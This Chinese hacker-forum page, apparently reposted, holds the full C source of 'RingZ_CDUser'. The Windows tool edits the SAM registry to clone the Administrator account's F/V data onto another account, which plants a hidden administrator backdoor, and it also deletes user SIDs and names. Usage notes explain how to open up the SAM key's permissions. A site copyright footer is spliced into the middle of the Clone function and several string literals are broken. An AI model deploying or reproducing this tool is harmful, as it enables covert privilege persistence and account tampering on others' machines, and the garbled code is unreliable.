分享
 
 
 

克隆/删除任意用户(RingZ_CDUser)

王朝vc·作者佚名  2006-01-09
窄屏简体版  字體: |||超大  

作者:dahubaobao 来源:中国红客联盟 更新日期:2005-01-18 浏览次数:

=====================================================================

#include <windows.h>

#include <string.h>

#include <stdio.h>

char name[50][30];

int KeyN=0;

//OpenKey(),ViewUser(),ListUser()函数用到的变量

void Sid (char *sid);

//删除安全标识符

void User (char *user);

//删除用户名

void OpenKey (char *key);

int ViewUser (char *key);

int ListUser (void);

//显示用户名对应的安全标识符

int Clone (char *C_sid);

//克隆帐户

void Usage (void);

//帮助信息

void main (int argc, char *argv[])

{

char SID[10];

char C_Sid[10];

char USER[40];

int n;

for (n=1;n<argc;n++)

{

if (argv[n][0] == '-')

克隆/删除任意用户(RingZ_CDUser)

{

switch(argv[n][1])

{

case '?':

case 'h':

case 'H':Usage();

break;

case 'l':

case 'L':ListUser();

break;

case 'c':

case 'C':printf("Please Input Clone SID:");

gets(C_Sid);

if (strlen(C_Sid)<=10)

Clone(C_Sid);

else

printf("Error\n");

break;

case 's':

case 'S':printf("Please Input Delete SID:");

gets(SID);

if (strlen(SID)<=10)

Sid(SID);

else

printf("Error\n");

break;

case 'u':

case 'U':printf("Please Input Delete USER:");

gets(USER);

if (strlen(USER)<=40)

User(USER);

else

printf("Error\n");

break;

}

}

}

}

void Sid (char *sid)

{

HKEY hkey;

DWORD ret;

char C_sid[10];

ZeroMemory(C_sid,10);

strcpy(C_sid,"00000"); //填充SID中的前5位

strcat(C_sid,sid); //传递剩余3位,并继续填充

//打开注册表,成功返回值0(SUCCESS)

ret=RegOpenKey(HKEY_LOCAL_MACHINE, //根键名或已打开项的句柄

"SAM\\SAM\\Domains\\Account\\Users\\", //要打开的项名

&hkey); //装载打开项的句柄

if (ret==ERROR_SUCCESS)

;

else

return 0;

//删除SID,成功返回值0(SUCCESS)

ret=RegDeleteKey(hkey,C_sid);

if (ret==ERROR_SUCCESS)

printf("Success Delete Key(SID)\n"); //打印成功消息

else

{

printf("Delete Key FAIL(SID)\n"); //打印失败消息

return 0;

}

RegCloseKey(hkey); //关闭以打开的注册表项

}

void User (char *user)

{

HKEY hkey;

DWORD ret;

char C_user[40];

ZeroMemory(C_user,40);

strcpy(C_user,"");

strcat(C_user,user);

ret=RegOpenKey(HKEY_LOCAL_MACHINE,

"SAM\\SAM\\Domains\\Account\\Users\\Names\\",

&hkey);

if (ret==ERROR_SUCCESS)

;

else

return 0;

ret=RegDeleteKey(hkey,C_user);

if (ret==ERROR_SUCCESS)

printf("Success Delete Key(USER)\n");

else

{

printf("Delete Key FAIL(USER)\n");

return 0;

}

RegCloseKey(hkey);

}

void OpenKey (char *key)

{

HKEY hkey;

DWORD dwIndex=0,lpcbname=100,ret=0;

char T_name[100],Buffer[100];

FILETIME lpftlast;

int i=0;

ZeroMemory(Buffer,100);

ZeroMemory(T_name,100);

ZeroMemory(name,1500);

RegOpenKeyEx(HKEY_LOCAL_MACHINE, //根键名或已打开项的句柄

key, //传递一个参数,欲打开的注册表项

0, //未用,设为0即可

KEY_ALL_ACCESS, //带有前缀KEY_??的一个或多个常数。

//它们的组合描述了允许对这个项进行哪些操作

&hkey);

for(i=0;ret==ERROR_SUCCESS;i++,dwIndex++)

{

ret=RegEnumKeyEx(hkey,dwIndex,T_name,&lpcbname,

NULL,NULL,NULL,&lpftlast);

//dwIndex:欲获取的子项的索引。第一个子项的索引编号为零

//T_name:用于装载指定索引处项名的一个缓冲区

//&lpcbname:指定一个变量,用于装载lpName缓冲区的实际长度(包括空字符)。

//一旦返回,它会设为实际装载到lpName缓冲区的字符数量

//NULL:未用,设为零

//NULL:项使用的类名

//NULL:用于装载lpClass缓冲区长度的一个变量

//&lpftlast:FILETIME,枚举子项上一次修改的时间

strcat(name[i],T_name);

ZeroMemory(T_name,100);

lpcbname=100;

}

RegCloseKey(hkey);

//拼接用户名

for(KeyN=0;KeyN<i;KeyN++)

{

strcat(Buffer,name[KeyN]);

strcat(Buffer,"\n\r");

}

}

int ViewUser (char *key)

{

HKEY hkey;

DWORD lpType=0,ret;

char S_name[10];

ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,

key,

0,

KEY_ALL_ACCESS,

&hkey);

if(ret==ERROR_SUCCESS)

;

else

return 0;

RegQueryValueEx(hkey,NULL,NULL,

&lpType,NULL,NULL);

//NULL:要获取值的名字

//NULL:未用,设为零

//&lpType:用于装载取回数据类型的一个变量

//NULL:用于装载指定值的一个缓冲区

//NULL:用于装载lpData缓冲区长度的一个变量

wsprintf(S_name,"%X\n\r",lpType);

printf("%s",S_name);

return 1;

}

int ListUser (void)

{

int n;

char Buffer[70]="SAM\\SAM\\Domains\\Account\\Users\\Names\\";

char Temp[40]={'\0'};

OpenKey("SAM\\SAM\\Domains\\Account\\Users\\Names");

for(n=0;n<KeyN;n++)

{

strcat(Buffer,name[n]);

wsprintf(Temp,name[n]);

strcat(Temp,"===>");

printf("%s",Temp);

ViewUser(Buffer);

strcpy(Buffer,"SAM\\SAM\\Domains\\Account\\Users\\Names\\");

}

return 1;

}

int Clone(char *C_sid)

{

HKEY hkey,C_hkey;

DWORD Type=REG_BINARY,SizeF=1024*2,SizeV=1024*10,ret;

char CloneSid[100];

LPBYTE lpDataF,lpDataV;

lpDataF = (LPBYTE) malloc(1024*2);

lpDataV = (LPBYTE) malloc(1024*10);

ZeroMemory(lpDataF,1024*2);

ZeroMemory(lpDataV,1024*10);

ZeroMemory(CloneSid,100);

strcpy(CloneSid,"SAM\\SAM\\Domains\\Account\\Users\\00000");

strcat(CloneSid,C_sid);

ret= RegOpenKeyEx(HKEY_LOCAL_MACHINE,

"SAM\\SAM\\Domains\\Account\\Users\\000001F4",

0,

KEY_ALL_ACCESS,

&hkey);

if(ret==ERROR_SUCCESS)

;

else

return 0;

ret = RegQueryValueEx(hkey,"F",NULL,

&Type,lpDataF,&SizeF);

if(ret==ERROR_SUCCESS)

;

else

return 0;

ret = RegQueryValueEx(hkey,"V",NULL,

&Type,lpDataV,&SizeV);

if(ret==ERROR_SUCCESS)

;

else

return 0;

ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE,

CloneSid,

0,

KEY_ALL_ACCESS,

&C_hkey);

if(ret==ERROR_SUCCESS)

;

else

return 0;

ret= RegSetValueEx(C_hkey,"F",0,

REG_BINARY,

lpDataF,

SizeF);

//C_hkey:根键名或已打开项的句柄

//“F”:要设置值的名字

//0:未用,设为零

//REG_BINARY:要设置的数量类型

//lpDataF:包含数据的缓冲区中的第一个字节

//SizeF:lpData缓冲区的长度

if(ret==ERROR_SUCCESS)

;

else

return 0;

ret=RegSetValueEx(C_hkey,"V",0,

REG_BINARY,

lpDataV,

SizeV);

if(ret==ERROR_SUCCESS)

printf("Clone User Success\n");

Copyright © 2000-2004 HUC All Rights Reserved.

中国红客网络技术联盟 www.cnhonker.com

webmaster@cnhonker.net

else

{

printf("Clone User FAIL\n");

return 0;

}

RegCloseKey(hkey);

RegCloseKey(C_hkey);

return 1;

}

void Usage (void)

{

fprintf

(stderr,"=====================================================================

"\t 克隆/删除任意用户\n"

"\t环境:Win2K Adv Server + Visual C++ 6.0\n"

"\t作者:dahubaobao\n"

"\t主页:www.RingZ.org;n"

"\tOICQ:382690\n"

"\t邮件:dahubaobao@hotmail.comn"

"\t声明:本帖由环行区(RingZ)原创,转载请注明出处,谢谢!\n"

"\n"

"\t使用方法:\n"

"\t\"-H\":帮助信息\n"

"\t\"-L\":列出系统中用户对应的SID\n"

"\t\"-C\":克隆帐户,输入SID即可\n"

"\t\"-S\":删除SID\n"

"\t 对应注册表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\n"

"\t\"-U\":删除用户名\n"

"\t 对应注册表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names\n"

"\n"

"\t注意事项:\n"

"\t由于SID的前5位都是\"0\",所以不必输入,直接输入最后三位\n"

"\t例如:000001F5,则直接输入1F5,即可将Guest帐户删除\n"

"\t使用Regedt32将SAM键修改为Administrators可以访问\n"

"\t使用-C参数后,会弹出\"Clone SID:\"提示符,只需输入相应的SID即可克隆\n"

"\t使用-S参数后,会弹出\"Delete SID:\"提示符,只需输入相应的SID即可删除\n"

"\t使用-U参数后,会弹出\"Delete USER:\"提示符,只需输入相应的用户名即可删除\n"

"==========================================================================

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有